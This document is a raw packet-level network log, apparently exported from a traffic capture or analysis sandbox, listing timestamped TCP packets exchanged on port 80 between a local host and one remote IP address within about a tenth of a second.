Jul 27, 2024 03:19:22.106020927 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106059074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106074095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106153011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106165886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106180906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106193066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106200933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106211901 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106225967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106239080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106240988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106264114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106265068 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106276989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106280088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106295109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106297970 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106309891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106313944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106324911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106338024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106339931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106348038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106362104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106365919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106378078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106389046 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106399059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106445074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106694937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106710911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106728077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106738091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106744051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106758118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106769085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106805086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106812954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106829882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106844902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106848955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106869936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106888056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106898069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106904984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106920004 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.106925964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106941938 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.106956005 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107069016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107083082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107105970 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107109070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107121944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107134104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107145071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107151985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107161999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107176065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107176065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107191086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107197046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107207060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107218027 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107239962 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107251883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107268095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107287884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107315063 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107361078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107398987 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107489109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107506037 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107520103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107522964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107536077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107549906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107556105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107567072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107580900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.107589006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.107611895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.108737946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108753920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108778954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108782053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.108793020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108808994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108813047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.108823061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108838081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108844042 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.108860970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108865976 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.108876944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108891010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108896017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.108906031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108920097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108926058 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.108937025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108961105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.108979940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.108979940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.108994961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.109008074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.109018087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.109026909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.109033108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.109046936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.109047890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.109062910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.109066010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.109078884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.109085083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.109093904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.109105110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.109133005 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.118069887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.118093967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.118110895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.118135929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.118169069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.118611097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.118627071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.118643045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.118654013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.118658066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.118683100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.118711948 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144645929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144681931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144706011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144721031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144731998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144745111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144750118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144762039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144777060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144788980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144790888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144804001 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144829035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144830942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144844055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144859076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144866943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144875050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144891977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144896030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144920111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144927979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144942999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144943953 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144958973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144967079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144977093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.144982100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.144999981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145000935 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145015001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145015955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145030975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145032883 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145051003 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145067930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145118952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145133972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145149946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145153999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145164967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145173073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145179033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145191908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145195007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145207882 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145210028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145226002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145231962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145247936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145251036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145263910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145276070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145293951 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145301104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145313978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145337105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145339966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145353079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145363092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145368099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145380974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145385027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.145400047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.145421982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.193792105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.193805933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.193820000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.193834066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.193846941 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.193861008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.193917036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.193960905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194056034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194068909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194099903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194119930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194195032 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194211960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194225073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194237947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194240093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194253922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194256067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194268942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194281101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194305897 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194417000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194437981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194452047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194456100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194468021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194478035 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194482088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194494963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194495916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194510937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194514036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194525957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194538116 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194539070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194552898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194562912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194566965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194581032 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194588900 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194595098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194602966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194610119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194624901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194629908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194639921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194653034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194658041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194667101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194674969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194681883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194699049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194703102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194717884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194724083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194730997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194746017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194746971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194760084 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194770098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194781065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194793940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194794893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194808960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194817066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194823027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194839001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194842100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194853067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194865942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194888115 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194904089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194925070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194941044 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194945097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194955111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194968939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194971085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194978952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.194988012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.194993973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.195002079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.195012093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.195014954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.195029020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.195048094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.195991039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196003914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196019888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196043015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196043015 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196057081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196058989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196073055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196074009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196090937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196091890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196104050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196105957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196120024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196125031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196132898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196137905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196151018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196160078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196170092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196188927 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196202993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196217060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196223974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196254969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196269035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196271896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196284056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196296930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196300030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196310997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196315050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196329117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196335077 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196367979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196402073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196415901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196430922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196436882 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196444035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.196463108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.196496964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.205368042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.205382109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.205398083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.205440044 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.205455065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.205465078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.205478907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.205486059 CEST	49713	80	192.168.2.6	185.215.113.16
